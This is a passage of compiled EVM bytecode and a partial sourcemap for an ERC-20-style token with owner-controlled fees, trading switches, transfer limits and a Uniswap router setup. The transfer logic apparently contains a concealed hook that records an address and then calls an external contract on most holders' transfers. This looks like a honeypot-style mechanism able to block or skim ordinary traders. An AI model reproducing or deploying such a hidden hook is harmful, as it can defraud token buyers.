d116102e457806323b872dd146104b557806327c8f835146104d45780632e6ed7ef146104e9578063313ce56714610508575f80fd5b80631f3fed8f14610462578063203e727e146104775780632260366114610496575f80fd5b80631694505e116103445780631694505e146103e357806318160ddd1461041a57806318a94cf1146104385780631a8145bb1461044d575f80fd5b806301339c211461037457806306fdde031461038a578063095ea7b3146103b4575f80fd5b3661037057005b5f80fd5b34801561037f575f80fd5b506103886109f6565b005b348015610395575f80fd5b5061039e610a88565b6040516103ab919061297e565b60405180910390f35b3480156103bf575f80fd5b506103d36103ce3660046129dd565b610b18565b60405190151581526020016103ab565b3480156103ee575f80fd5b50600754610402906001600160a01b031681565b6040516001600160a01b0390911681526020016103ab565b348015610425575f80fd5b506004545b6040519081526020016103ab565b348015610443575f80fd5b5061042a60175481565b348015610458575f80fd5b5061042a60115481565b34801561046d575f80fd5b5061042a60125481565b348015610482575f80fd5b50610388610491366004612a07565b610b2e565b3480156104a1575f80fd5b506103886104b0366004612a2b565b610c05565b3480156104c0575f80fd5b506103d36104cf366004612a62565b610c8d565b3480156104df575f80fd5b5061040261dead81565b3480156104f4575f80fd5b50610388610503366004612aa0565b610d33565b348015610513575f80fd5b50604051601281526020016103ab565b34801561052e575f80fd5b506103d361053d3660046129dd565b610da8565b34801561054d575f80fd5b50600654610402906001600160a01b031681565b34801561056c575f80fd5b50600c546103d39060ff1681565b348015610585575f80fd5b5061042a60185481565b34801561059a575f80fd5b506103d36105a9366004612acf565b6001600160a01b03165f908152601e602052604090205460ff1690565b3480156105d1575f80fd5b506103886105e0366004612acf565b610de1565b3480156105f0575f80fd5b506103886105ff366004612a2b565b610f50565b34801561060f575f80fd5b5061042a601d5481565b348015610624575f80fd5b5061042a60145481565b348015610639575f80fd5b50600c546103d390610100900460ff1681565b348015610657575f80fd5b5061042a610666366004612acf565b6001600160a01b03165f9081526001602052604090205490565b34801561068b575f80fd5b50610388610ff4565b34801561069f575f80fd5b506103d3611029565b3480156106b3575f80fd5b506103886106c2366004612a2b565b611065565b3480156106d2575f80fd5b5061042a601a5481565b6103886110b9565b3480156106ef575f80fd5b506005546001600160a01b0316610402565b34801561070c575f80fd5b5061042a60155481565b348015610721575f80fd5b50610388610730366004612aea565b6113cf565b348015610740575f80fd5b5061039e611413565b348015610754575f80fd5b506103d36107633660046129dd565b611422565b348015610773575f80fd5b506103d36107823660046129dd565b6114b8565b348015610792575f80fd5b50600854610402906001600160a01b031681565b3480156107b1575f80fd5b5061042a601c5481565b3480156107c6575f80fd5b50600c546103d39062010000900460ff1681565b3480156107e5575f80fd5b506103d36107f4366004612acf565b602080525f908152604090205460ff1681565b348015610812575f80fd5b5061042a600b5481565b348015610827575f80fd5b50610388610836366004612a07565b6114c4565b348015610846575f80fd5b5061042a60095481565b34801561085b575f80fd5b50600f546103d390600160a01b900460ff1681565b34801561087b575f80fd5b506103d361088a366004612a07565b61159d565b34801561089a575f80fd5b5061042a60195481565b3480156108af575f80fd5b5061042a6108be366004612b05565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b3480156108f1575f80fd5b506103d3610900366004612acf565b601f6020525f908152604090205460ff1681565b34801561091f575f80fd5b5061042a600a5481565b348015610934575f80fd5b50610388610943366004612aa0565b6116ee565b348015610953575f80fd5b506103d361175d565b348015610967575f80fd5b5061042a60105481565b34801561097c575f80fd5b5061042a601b5481565b348015610991575f80fd5b506103886109a0366004612acf565b61179c565b3480156109b0575f80fd5b5061042a60165481565b3480156109c5575f80fd5b50610402737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156109ec575f80fd5b5061042a60135481565b6005546001600160a01b03163314610a295760405162461bcd60e51b8152600401610a2090612b31565b60405180910390fd5b600c5462010000900460ff1615610a715760405162461bcd60e51b815260206004820152600c60248201526b30b63932b0b23c9037b832b760a11b6044820152606401610a20565b600c805443600e5562ffff00191662010100179055565b606060028054610a9790612b66565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac390612b66565b8015610b0e5780601f10610ae557610100808354040283529160200191610b0e565b820191905f5260205f20905b815481529060010190602001808311610af157829003601f168201915b5050505050905090565b5f610b24338484611834565b5060015b92915050565b6005546001600160a01b03163314610b585760405162461bcd60e51b8152600401610a2090612b31565b670de0b6b3a76400006103e8610b6d60045490565b610b78906001612bb2565b610b829190612bc9565b610b8c9190612bc9565b811015610bed5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61785472616e73616374696f6e206c6f776572206044820152687468616e20302e312560b81b6064820152608401610a20565b610bff81670de0b6b3a7640000612bb2565b60095550565b6005546001600160a01b03163314610c2f5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b0382165f818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b5f610c99848484611955565b6001600160a01b0384165f9081526020818152604080832033845290915290205482811015610d1b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610a20565b610d288533858403611834565b506001949350505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610a2090612b31565b601a849055601b839055601c829055601d8190558082610d7d8587612be8565b610d879190612be8565b610d919190612be8565b601981905560131015610da2575f80fd5b50505050565b335f818152602081815260408083206001600160a01b03871684529091528120549091610b24918590610ddc908690612be8565b611834565b6005546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03811615610f15576040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610e60573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e849190612bfb565b9050816001600160a01b031663a9059cbb610ea76005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ef1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da29190612c12565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f4b573d5f803e3d5ffd5b505b50565b6005546001600160a01b03163314610f7a5760405162461bcd60e51b8152600401610a2090612b31565b6006546001600160a01b0390811690831603610fea5760405162461bcd60e51b815260206004820152602960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d20604482015268616d6d20706169727360b81b6064820152608401610a20565b610f4b8282612197565b6005546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610a2090612b31565b6110275f6121e9565b565b6005545f906001600160a01b031633146110555760405162461bcd60e51b8152600401610a2090612b31565b50600c805460ff19169055600190565b6005546001600160a01b0316331461108f5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03919091165f908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110e35760405162461bcd60e51b8152600401610a2090612b31565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155611117816001611065565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611153573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111779190612c2d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e69190612c2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015611230573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112549190612c2d565b600680546001600160a01b0319166001600160a01b0392909216918217905561127e906001611065565b600654611295906001600160a01b03166001612197565b6007546112ae9030906001600160a01b03165f19611834565b6007546001600160a01b031663f305d71934306112df816001600160a01b03165f9081526001602052604090205490565b5f806112f36005546001600160a01b031690565b426040518863ffffffff1660e01b815260040161131596959493929190612c48565b60606040518083038185885af1158015611331573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113569190612c83565b505060065460075460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156113ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4b9190612c12565b6005546001600160a01b031633146113f95760405162461bcd60e51b8152600401610a2090612b31565b600c80549115156101000261ff0019909216919091179055565b606060038054610a9790612b66565b335f908152602081815260408083206001600160a01b0386168452909152812054828110156114a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a20565b6114ae3385858403611834565b5060019392505050565b5f610b24338484611955565b6005546001600160a01b031633146114ee5760405162461bcd60e51b8152600401610a2090612b31565b670de0b6b3a76400006103e861150360045490565b61150e906005612bb2565b6115189190612bc9565b6115229190612bc9565b8110156115855760405162461bcd60e51b815260206004820152602b60248201527f43616e6e6f7420736574206d617857616c6c657442616c616e6365206c6f776560448201526a72207468616e20302e352560a81b6064820152608401610a20565b61159781670de0b6b3a7640000612bb2565b600b5550565b6005545f906001600160a01b031633146115c95760405162461bcd60e51b8152600401610a2090612b31565b620186a06115d660045490565b6115e1906001612bb2565b6115eb9190612bc9565b8210156116585760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a20565b6103e861166460045490565b61166f906005612bb2565b6116799190612bc9565b8211156116e55760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a20565b50600a55600190565b6005546001600160a01b031633146117185760405162461bcd60e51b8152600401610a2090612b31565b601584905560168390556017829055601881905580826117388587612be8565b6117429190612be8565b61174c9190612be8565b601481905560131015610da2575f80fd5b6005545f906001600160a01b031633146117895760405162461bcd60e51b8152600401610a2090612b31565b50600f805460ff60a01b19169055600190565b6005546001600160a01b031633146117c65760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03811661182b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a20565b610f4d816121e9565b6001600160a01b0383166118965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a20565b6001600160a01b0382166118f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a20565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661197b5760405162461bcd60e51b8152600401610a2090612cae565b6001600160a01b0382166119a15760405162461bcd60e51b8152600401610a2090612cf3565b805f036119b8576119b383835f61223a565b505050565b600c5460ff1615611dce57600854600160a01b900460ff16611dce57600c5462010000900460ff16611a79576001600160a01b0383165f908152601e602052604090205460ff1680611a2157506001600160a01b0382165f908152601e602052604090205460ff165b80611a3457506001600160a01b03831630145b611a795760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a20565b600f54600160a01b900460ff1615611b7d576005546001600160a01b03838116911614801590611ab757506007546001600160a01b03838116911614155b8015611ad157506006546001600160a01b03838116911614155b15611b7d57325f908152600d60205260409020544311611b6b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610a20565b325f908152600d602052604090204390555b6001600160a01b0383165f90815260208052604090205460ff168015611bbb57506001600160a01b0382165f908152601f602052604090205460ff16155b15611c9857600954811115611c2a5760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b6064820152608401610a20565b600b546001600160a01b0383165f90815260016020526040902054611c4f9083612be8565b1115611c935760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a20565b611dce565b6001600160a01b0382165f90815260208052604090205460ff168015611cd657506001600160a01b0383165f908152601f602052604090205460ff16155b15611d4657600954811115611c935760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b6064820152608401610a20565b6001600160a01b0382165f908152601f602052604090205460ff16611dce57600b546001600160a01b0383165f90815260016020526040902054611d8a9083612be8565b1115611dce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a20565b305f9081526001602052604081205490611de8858561238c565b90505f600a5483101580611df95750815b9050808015611e0f5750600c54610100900460ff165b8015611e255750600854600160a01b900460ff16155b8015611e4857506001600160a01b0386165f90815260208052604090205460ff16155b8015611e6c57506001600160a01b0386165f908152601e602052604090205460ff16155b8015611e9057506001600160a01b0385165f908152601e602052604090205460ff16155b15611ebe576008805460ff60a01b1916600160a01b179055611eb06124c6565b6008805460ff60a01b191690555b6008546001600160a01b0387165f908152601e602052604090205460ff600160a01b909204821615911615611f0157611ef887878761272a565b50505050505050565b6001600160a01b0387165f908152601e602052604090205460ff1680611f3e57506001600160a01b0386165f908152601e602052604090205460ff165b15611f4657505f5b5f8115612182576001600160a01b0387165f90815260208052604090205460ff168015611f7457505f601454115b1561205e57611f996064611f936014548961276890919063ffffffff16565b9061277a565b905060145460165482611fac9190612bb2565b611fb69190612bc9565b60115f828254611fc69190612be8565b9091555050601454601754611fdb9083612bb2565b611fe59190612bc9565b60105f828254611ff59190612be8565b909155505060145460155461200a9083612bb2565b6120149190612bc9565b60125f8282546120249190612be8565b90915550506014546018546120399083612bb2565b6120439190612bc9565b60135f8282546120539190612be8565b909155506121649050565b6001600160a01b0388165f90815260208052604090205460ff16801561208557505f601954115b15612164576120a46064611f936019548961276890919063ffffffff16565b9050601954601b54826120b79190612bb2565b6120c19190612bc9565b60115f8282546120d19190612be8565b9091555050601954601c546120e69083612bb2565b6120f09190612bc9565b60105f8282546121009190612be8565b9091555050601954601a546121159083612bb2565b61211f9190612bc9565b60125f82825461212f9190612be8565b9091555050601954601d546121449083612bb2565b61214e9190612bc9565b60135f82825461215e9190612be8565b90915550505b80156121755761217588308361223a565b61217f8187612d36565b95505b61218d88888861223a565b5050505050505050565b6001600160a01b0382165f818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166122605760405162461bcd60e51b8152600401610a2090612cae565b6001600160a01b0382166122865760405162461bcd60e51b8152600401610a2090612cf3565b6001600160a01b0383165f90815260016020526040902054818110156122fd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a20565b6001600160a01b038085165f90815260016020526040808220858503905591851681529081208054849290612333908490612be8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161237f91815260200190565b60405180910390a3610da2565b6001600160a01b0382165f90815260208052604081205460ff16156123f357325f908152601e602052604090205460ff1680156123d25750326001600160a01b03831614155b156123f357600f80546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0382165f908152601e602052604090205460ff161580156124255750600f546001600160a01b031615155b801561244957506001600160a01b0383165f908152601e602052604090205460ff16155b156124be57600f546040516323b872dd60e01b81526001600160a01b03858116600483015284811660248301525f6044830152909116906323b872dd906064015f604051808303815f87803b1580156124a0575f80fd5b505af11580156124b2573d5f803e3d5ffd5b505050505f9050610b28565b505f92915050565b305f9081526001602052604081205490505f6013546010546012546011546124ee9190612be8565b6124f89190612be8565b6125029190612be8565b90505f821580612510575081155b1561251a57505050565b600a54612528906010612bb2565b83111561254057600a5461253d906010612bb2565b92505b5f600283601154866125529190612bb2565b61255c9190612bc9565b6125669190612bc9565b90505f6125738583612785565b90504761257f82612790565b5f61258a4783612785565b90505f6125a687611f936012548561276890919063ffffffff16565b90505f6125c288611f936010548661276890919063ffffffff16565b90505f6125de89611f936013548761276890919063ffffffff16565b90505f81836125ed8688612d36565b6125f79190612d36565b6126019190612d36565b5f60118190556012819055601081905560138190556008546040519293506001600160a01b031691859181818185875af1925050503d805f8114612660576040519150601f19603f3d011682016040523d82523d5f602084013e612665565b606091505b5090995050871580159061267857505f81115b156126cb5761268788826128e0565b601154604080518981526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516001600160a01b039091169047905f81818185875af1925050503d805f8114612715576040519150601f19603f3d011682016040523d82523d5f602084013e61271a565b606091505b5050505050505050505050505050565b6001600160a01b0383165f90815260016020526040902054816122fd5760405162461bcd60e51b8152602060048201525f6024820152604401610a20565b5f6127738284612bb2565b9392505050565b5f6127738284612bc9565b5f6127738284612d36565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106127c3576127c3612d49565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561281a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061283e9190612c2d565b8160018151811061285157612851612d49565b6001600160a01b0392831660209182029290920101526007546128779130911684611834565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906128af9085905f90869030904290600401612d5d565b5f604051808303815f87803b1580156128c6575f80fd5b505af11580156128d8573d5f803e3d5ffd5b505050505050565b6007546128f89030906001600160a01b031684611834565b60075460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061293690309087905f90819061dead904290600401612c48565b60606040518083038185885af1158015612952573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129779190612c83565b5050505050565b5f6020808352835180828501525f5b818110156129a95785810183015185820160400152820161298d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d575f80fd5b5f80604083850312156129ee575f80fd5b82356129f9816129c9565b946020939093013593505050565b5f60208284031215612a17575f80fd5b5035919050565b8015158114610f4d575f80fd5b5f8060408385031215612a3c575f80fd5b8235612a47816129c9565b91506020830135612a5781612a1e565b809150509250929050565b5f805f60608486031215612a74575f80fd5b8335612a7f816129c9565b92506020840135612a8f816129c9565b929592945050506040919091013590565b5f805f8060808587031215612ab3575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215612adf575f80fd5b8135612773816129c9565b5f60208284031215612afa575f80fd5b813561277381612a1e565b5f8060408385031215612b16575f80fd5b8235612b21816129c9565b91506020830135612a57816129c9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612b7a57607f821691505b602082108103612b9857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610b2857610b28612b9e565b5f82612be357634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610b2857610b28612b9e565b5f60208284031215612c0b575f80fd5b5051919050565b5f60208284031215612c22575f80fd5b815161277381612a1e565b5f60208284031215612c3d575f80fd5b8151612773816129c9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215612c95575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610b2857610b28612b9e565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015612dab5784516001600160a01b031683529383019391830191600101612d86565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220736a3364f73f700df28c7f3a226d2865cfd751f286da50041fcd64e11fc79c3064736f6c63430008140033

Deployed Bytecode Sourcemap

14285:17769:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19433:192;;;;;;;;;;;;;:::i;:::-;;8233:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9288:210;;;;;;;;;;-1:-1:-1;9288:210:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9288:210:0;1023:187:1;14405:33:0;;;;;;;;;;-1:-1:-1;14405:33:0;;;;-1:-1:-1;;;;;14405:33:0;;;;;;-1:-1:-1;;;;;1397:32:1;;;1379:51;;1367:2;1352:18;14405:33:0;1215:221:1;8453:108:0;;;;;;;;;;-1:-1:-1;8541:12:0;;8453:108;;;1587:25:1;;;1575:2;1560:18;8453:108:0;1441:177:1;15419:33:0;;;;;;;;;;;;;;;;15185;;;;;;;;;;;;;;;;15225;;;;;;;;;;;;;;;;19911:263;;;;;;;;;;-1:-1:-1;19911:263:0;;;;;:::i;:::-;;:::i;20551:184::-;;;;;;;;;;-1:-1:-1;20551:184:0;;;;;:::i;:::-;;:::i;9506:529::-;;;;;;;;;;-1:-1:-1;9506:529:0;;;;;:::i;:::-;;:::i;14445:53::-;;;;;;;;;;;;14491:6;14445:53;;21310:550;;;;;;;;;;-1:-1:-1;21310:550:0;;;;;:::i;:::-;;:::i;8569:93::-;;;;;;;;;;-1:-1:-1;8569:93:0;;8652:2;3519:36:1;;3507:2;3492:18;8569:93:0;3377:184:1;10043:297:0;;;;;;;;;;-1:-1:-1;10043:297:0;;;;;:::i;:::-;;:::i;14370:28::-;;;;;;;;;;-1:-1:-1;14370:28:0;;;;-1:-1:-1;;;;;14370:28:0;;;14786:33;;;;;;;;;;-1:-1:-1;14786:33:0;;;;;;;;15459:32;;;;;;;;;;;;;;;;22929:127;;;;;;;;;;-1:-1:-1;22929:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;23019:29:0;22995:4;23019:29;;;:20;:29;;;;;;;;;22929:127;29064:367;;;;;;;;;;-1:-1:-1;29064:367:0;;;;;:::i;:::-;;:::i;22437:288::-;;;;;;;;;;-1:-1:-1;22437:288:0;;;;;:::i;:::-;;:::i;15647:31::-;;;;;;;;;;;;;;;;15308:28;;;;;;;;;;;;;;;;14826:31;;;;;;;;;;-1:-1:-1;14826:31:0;;;;;;;;;;;8670:177;;;;;;;;;;-1:-1:-1;8670:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;8821:18:0;8789:7;8821:18;;;:9;:18;;;;;;;8670:177;4826:103;;;;;;;;;;;;;:::i;20422:121::-;;;;;;;;;;;;;:::i;18335:161::-;;;;;;;;;;-1:-1:-1;18335:161:0;;;;;:::i;:::-;;:::i;15534:30::-;;;;;;;;;;;;;;;;18504:921;;;:::i;4603:87::-;;;;;;;;;;-1:-1:-1;4676:6:0;;-1:-1:-1;;;;;4676:6:0;4603:87;;15343:31;;;;;;;;;;;;;;;;20270:100;;;;;;;;;;-1:-1:-1;20270:100:0;;;;;:::i;:::-;;:::i;8341:104::-;;;;;;;;;;;;;:::i;10348:482::-;;;;;;;;;;-1:-1:-1;10348:482:0;;;;;:::i;:::-;;:::i;8855:216::-;;;;;;;;;;-1:-1:-1;8855:216:0;;;;;:::i;:::-;;:::i;14587:44::-;;;;;;;;;;-1:-1:-1;14587:44:0;;;;-1:-1:-1;;;;;14587:44:0;;;15608:32;;;;;;;;;;;;;;;;14864:33;;;;;;;;;;-1:-1:-1;14864:33:0;;;;;;;;;;;15813:57;;;;;;;;;;-1:-1:-1;15813:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14746:31;;;;;;;;;;;;;;;;19633:270;;;;;;;;;;-1:-1:-1;19633:270:0;;;;;:::i;:::-;;:::i;14670:29::-;;;;;;;;;;;;;;;;15095:39;;;;;;;;;;-1:-1:-1;15095:39:0;;;;-1:-1:-1;;;15095:39:0;;;;;;20805:497;;;;;;;;;;-1:-1:-1;20805:497:0;;;;;:::i;:::-;;:::i;15500:27::-;;;;;;;;;;;;;;;;9079:201;;;;;;;;;;-1:-1:-1;9079:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;9245:18:0;;;9213:7;9245:18;;;;;;;;;;;:27;;;;;;;;;;;;;9079:201;15747:57;;;;;;;;;;-1:-1:-1;15747:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14706:33;;;;;;;;;;;;;;;;21868:561;;;;;;;;;;-1:-1:-1;21868:561:0;;;;;:::i;:::-;;:::i;18192:135::-;;;;;;;;;;;;;:::i;15143:35::-;;;;;;;;;;;;;;;;15571:30;;;;;;;;;;;;;;;;4937:241;;;;;;;;;;-1:-1:-1;4937:241:0;;;;;:::i;:::-;;:::i;15381:31::-;;;;;;;;;;;;;;;;14505:75;;;;;;;;;;;;14538:42;14505:75;;15265:34;;;;;;;;;;;;;;;;19433:192;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;;;;;;;;;19490:13:::1;::::0;;;::::1;;;19489:14;19481:39;;;::::0;-1:-1:-1;;;19481:39:0;;5244:2:1;19481:39:0::1;::::0;::::1;5226:21:1::0;5283:2;5263:18;;;5256:30;-1:-1:-1;;;5302:18:1;;;5295:42;5354:18;;19481:39:0::1;5042:336:1::0;19481:39:0::1;19531:11;:18:::0;;19574:12:::1;19560:11;:26:::0;-1:-1:-1;;19597:20:0;;;;;19433:192::o;8233:100::-;8287:13;8320:5;8313:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8233:100;:::o;9288:210::-;9407:4;9429:39;4203:10;9452:7;9461:6;9429:8;:39::i;:::-;-1:-1:-1;9486:4:0;9288:210;;;;;:::o;19911:263::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;20048:4:::1;20040;20019:13;8541:12:::0;;;8453:108;20019:13:::1;:17;::::0;20035:1:::1;20019:17;:::i;:::-;20018:26;;;;:::i;:::-;20017:35;;;;:::i;:::-;20007:6;:45;;19985:136;;;::::0;-1:-1:-1;;;19985:136:0;;6497:2:1;19985:136:0::1;::::0;::::1;6479:21:1::0;6536:2;6516:18;;;6509:30;6575:34;6555:18;;;6548:62;-1:-1:-1;;;6626:18:1;;;6619:39;6675:19;;19985:136:0::1;6295:405:1::0;19985:136:0::1;20149:17;:6:::0;20159::::1;20149:17;:::i;:::-;20132:14;:34:::0;-1:-1:-1;19911:263:0:o;20551:184::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20637:29:0;::::1;;::::0;;;:20:::1;:29;::::0;;;;;;;;:40;;-1:-1:-1;;20637:40:0::1;::::0;::::1;;::::0;;::::1;::::0;;;20693:34;;1163:41:1;;;20693:34:0::1;::::0;1136:18:1;20693:34:0::1;;;;;;;20551:184:::0;;:::o;9506:529::-;9646:4;9663:36;9673:6;9681:9;9692:6;9663:9;:36::i;:::-;-1:-1:-1;;;;;9739:19:0;;9712:24;9739:19;;;;;;;;;;;4203:10;9739:33;;;;;;;;9805:26;;;;9783:116;;;;-1:-1:-1;;;9783:116:0;;6907:2:1;9783:116:0;;;6889:21:1;6946:2;6926:18;;;6919:30;6985:34;6965:18;;;6958:62;-1:-1:-1;;;7036:18:1;;;7029:38;7084:19;;9783:116:0;6705:404:1;9783:116:0;9935:57;9944:6;4203:10;9985:6;9966:16;:25;9935:8;:57::i;:::-;-1:-1:-1;10023:4:0;;9506:529;-1:-1:-1;;;;9506:529:0:o;21310:550::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;21501:15:::1;:31:::0;;;21543:15:::1;:31:::0;;;21585:17:::1;:35:::0;;;21631:16:::1;:33:::0;;;21650:14;21605:15;21703:46:::1;21561:13:::0;21519;21703:46:::1;:::i;:::-;:79;;;;:::i;:::-;:111;;;;:::i;:::-;21675:12;:139:::0;;;21849:2:::1;-1:-1:-1::0;21833:18:0::1;21825:27;;;::::0;::::1;;21310:550:::0;;;;:::o;10043:297::-;4203:10;10158:4;10252:25;;;;;;;;;;;-1:-1:-1;;;;;10252:34:0;;;;;;;;;;10158:4;;10180:130;;10230:7;;10252:47;;10289:10;;10252:47;:::i;:::-;10180:8;:130::i;29064:367::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:1